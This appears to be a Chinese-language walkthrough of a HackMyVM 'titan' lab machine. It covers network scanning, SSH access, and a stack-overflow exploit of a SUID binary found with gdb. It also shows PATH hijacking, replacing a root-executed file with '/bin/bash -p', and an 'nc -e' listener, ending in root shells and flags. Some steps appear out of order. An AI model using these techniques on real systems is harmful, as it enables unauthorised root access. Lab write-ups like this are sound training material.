❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.134 08:00:27:c7:67:9c PCS Systemtechnik GmbH 192.168.60.254 00:50:56:fe:fd:5b VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.046 seconds (125.12 hosts/sec). 4 responded ❯ export ip=192.168.60.134 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- TCP handshake? More like a friendly high-five! [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.134:22 Open 192.168.60.134:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-12 14:16 CST Initiating ARP Ping Scan at 14:16 Scanning 192.168.60.134 [1 port] Completed ARP Ping Scan at 14:16, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 14:16 Completed Parallel DNS resolution of 1 host. at 14:16, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 14:16 Scanning 192.168.60.134 [2 ports] Discovered open port 80/tcp on 192.168.60.134 Discovered open port 22/tcp on 192.168.60.134 Completed SYN Stealth Scan at 14:16, 0.03s elapsed (2 total ports) Nmap scan report for 192.168.60.134 Host is up, received arp-response (0.00045s latency). Scanned at 2025-04-12 14:16:50 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:C7:67:9C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ curl http://192.168.60.134/robots.txt /athena.txt ❯ curl http://192.168.60.134/athena.txt Titan! to whose immortal eyes The sufferings of mortality, Seen in their sad reality, Were not as things that gods despise; What was thy pity's recompense? A silent suffering, and intense; The rock, the vulture, and the chain, All that the proud can feel of pain, The agony they do not show, The suffocating sense of woe, Which speaks but in its loneliness, And then is jealous lest the sky Should have a listener, nor will sigh Until its voice is echoless. Titan! to thee the strife was given Between the suffering and the will, Which torture where they cannot kill; And the inexorable Heaven, And the deaf tyranny of Fate, The ruling principle of Hate, Which for its pleasure doth create The things it may annihilate, Refus'd thee even the boon to die: The wretched gift Eternity Was thine—and thou hast borne it well. All that the Thunderer wrung from thee Was but the menace which flung back On him the torments of thy rack; The fate thou didst so well foresee, But would not to appease him tell; And in thy Silence was his Sentence, And in his Soul a vain repentance, And evil dread so ill dissembled, That in his hand the lightnings trembled. Thy Godlike crime was to be kind, To render with thy precepts less The sum of human wretchedness, And strengthen Man with his own mind; But baffled as thou wert from high, Still in thy patient energy, In the endurance, and repulse Of thine impenetrable Spirit, Which Earth and Heaven could not convulse, A mighty lesson we inherit: Thou art a symbol and a sign To Mortals of their fate and force; Like thee, Man is in part divine, A troubled stream from a pure source; And Man in portions can foresee His own funereal destiny; His wretchedness, and his resistance, And his sad unallied existence: To which his Spirit may oppose Itself—and equal to all woes, And a firm will, and a deep sense, Which even in torture can descry Its own concenter'd recompense, Triumphant where it dares defy, And making Death a Victory.
我按照原文搜索了一下，是Prometheus的诗歌摘要
我们将他保存到文件中，发现前几段存在空格和缩进符
1 2 3 4 5 6 7 8 9 10 11 12 13
❯ curl http://192.168.60.134/athena.txt -o aaa.txt % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 100 2170 100 2170 0 0 779k 0 --:--:-- --:--:-- --:--:-- 1059k ❯ cat -A aaa.txt Titan! to whose immortal eyes^I ^I ^I ^I ^I ^I $ The sufferings of mortality, ^I ^I ^I ^I^I ^I $ Seen in their sad reality, ^I ^I^I ^I ^I ^I $ Were not as things that gods despise; ^I ^I ^I ^I $ What was thy pity's recompense? ^I ^I ^I ^I ^I $ A silent suffering, and intense; ^I^I ^I ^I ^I $ The rock, the vulture, and the chain, ^I ^I ^I^I$ All that the proud can feel of pain,^I$
❯ ssh prometheus@$ip The authenticity of host '192.168.60.134 (192.168.60.134)' can't be established. ED25519 key fingerprint is SHA256:Qn4ac49rkwUfrehcrgWJFAj+8B8vB0JrNOc7C1/hLz4. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.134' (ED25519) to the list of known hosts. [email protected]'s password: Linux titan 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. prometheus@titan:~$ id uid=1001(prometheus) gid=1001(prometheus) groups=1001(prometheus) prometheus@titan:~$ ls -al total 40 drwxr-xr-x 2 prometheus prometheus 4096 Aug 9 2021 . drwxr-xr-x 5 root root 4096 Aug 9 2021 .. -rw-r--r-- 1 prometheus prometheus 220 Aug 9 2021 .bash_logout -rw-r--r-- 1 prometheus prometheus 3526 Aug 9 2021 .bashrc -rw-r--r-- 1 prometheus prometheus 807 Aug 9 2021 .profile -rwsr-sr-x 1 root prometheus 16896 Aug 9 2021 sacrifice
prometheus@titan:~$ ./sacrifice What is your offer to the gods?beef zeus@titan:~$ zeus@titan:~$ cd .. zeus@titan:/home$ cd zeus/ zeus@titan:/home/zeus$ cat user.txt HMVolympiangods
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. hesiod@titan:~$ ls -al total 48 drwxr-xr-x 4 hesiod hesiod 4096 Aug 9 2021 . drwxr-xr-x 5 root root 4096 Aug 9 2021 .. -rw-r--r-- 1 hesiod hesiod 220 Aug 9 2021 .bash_logout -rw-r--r-- 1 hesiod hesiod 3526 Aug 9 2021 .bashrc -rwxr-x--- 1 hesiod hesiod 16608 Aug 9 2021 fire drwxr-xr-x 3 hesiod hesiod 4096 Aug 9 2021 .local -rw-r--r-- 1 hesiod hesiod 807 Aug 9 2021 .profile drwx------ 2 hesiod hesiod 4096 Aug 9 2021 .ssh hesiod@titan:~$ ./fire Here is the fire...
回到上面，我们可以发现在sacrifice的程序中存在这么一个Function叫thief
没有其他东西去调用它，不过它会以Root的身份去执行/home/hesiod/fire
猜测含有栈溢出漏洞，所以我们可以尝试构造超长输入覆盖返回地址，跳转到thief地址
由于我们已经拿到了hesiod的身份，那我们直接把这个文件改了就完事了
1 2 3
hesiod@titan:~$ rm fire hesiod@titan:~$ echo'/bin/bash -p' >fire hesiod@titan:~$ chmod +x fire
程序是由gets(s1)获取输入，存储到缓冲区s1中
所以我们需要进行猜测缓冲区的大小，也就是枚举偏移量
我们首先需要检查程序开启了哪些保护
1 2 3 4 5 6 7 8 9 10
❯ checksec sacrifice [*] '/mnt/c/Users/maple/Desktop/tmp/sacrifice' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No
❯ gdb sacrifice pwndbg> cyclic 100 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa pwndbg> run Starting program: /mnt/c/Users/maple/Desktop/tmp/sacrifice What is your offer to the gods?aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Program received signal SIGSEGV, Segmentation fault. 0x000055555555524a in main () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────── RAX 0x0 *RBX 0x555555555250 (__libc_csu_init) ◂— push r15 RCX 0x0 RDX 0x0 *RDI 0x7ffff7fae7e0 (_IO_stdfile_1_lock) ◂— 0x0 *RSI 0x202c736b6e616854 ('Thanks, ') *R8 0x7fffffffde30 ◂— 0x6161616161616161 ('aaaaaaaa') *R9 0xf *R10 0x55555555605f ◂— 'Thanks, mortal.' *R11 0x7ffff7f43df0 (__strcmp_avx2) ◂— endbr64 *R12 0x5555555550a0 (_start) ◂— xor ebp, ebp *R13 0x7fffffffdf70 ◂— 0x1 R14 0x0 R15 0x0 *RBP 0x616161616161616b ('kaaaaaaa') *RSP 0x7fffffffde88 ◂— 'laaaaaaamaaa' *RIP 0x55555555524a (main+158) ◂— ret ─────────────────────────────────────────────────────────[ DISASM / x86-64 / setemulate on ]───────────────────────────────────────────────────────── ► 0x55555555524a <main+158> ret <0x616161616161616c>
-------------------------------------- # Kali执行 ❯ python3 exp.py [←] Opening connection to 192.168.60.134 on port 6666: Trying 192.168.60.1[+] Opening connection to 192.168.60.134 on port 6666: Done [*] Switching to interactive mode $ id uid=0(root) gid=0(root) groups=0(root),1002(hesiod) $ cat /root/root.txt HMVgodslovesyou
# 发送 payload p = remote('192.168.60.134', 6666) p.send(payload) p.interactive()
写入执行命令，并赋予可执行权限
1 2 3 4 5 6 7
prometheus@titan:~$ id uid=1001(prometheus) gid=1001(prometheus) groups=1001(prometheus) prometheus@titan:~$ ls sacrifice prometheus@titan:~$ echo'bash -p' > e prometheus@titan:~$ chmod +x e prometheus@titan:~$ export PATH=.:$PATH
尝试执行exp
1 2 3 4 5 6 7 8 9 10
prometheus@titan:~$ nc -lvp 6666 -e ./sacrifice listening on [any] 6666 ... --------------------------------------- ❯ python3 exp.py [+] Opening connection to 192.168.60.134 on port 6666: Done [*] Switching to interactive mode $ id uid=0(root) gid=0(root) groups=0(root),1001(prometheus) $ cat /root/root.txt HMVgodslovesyou
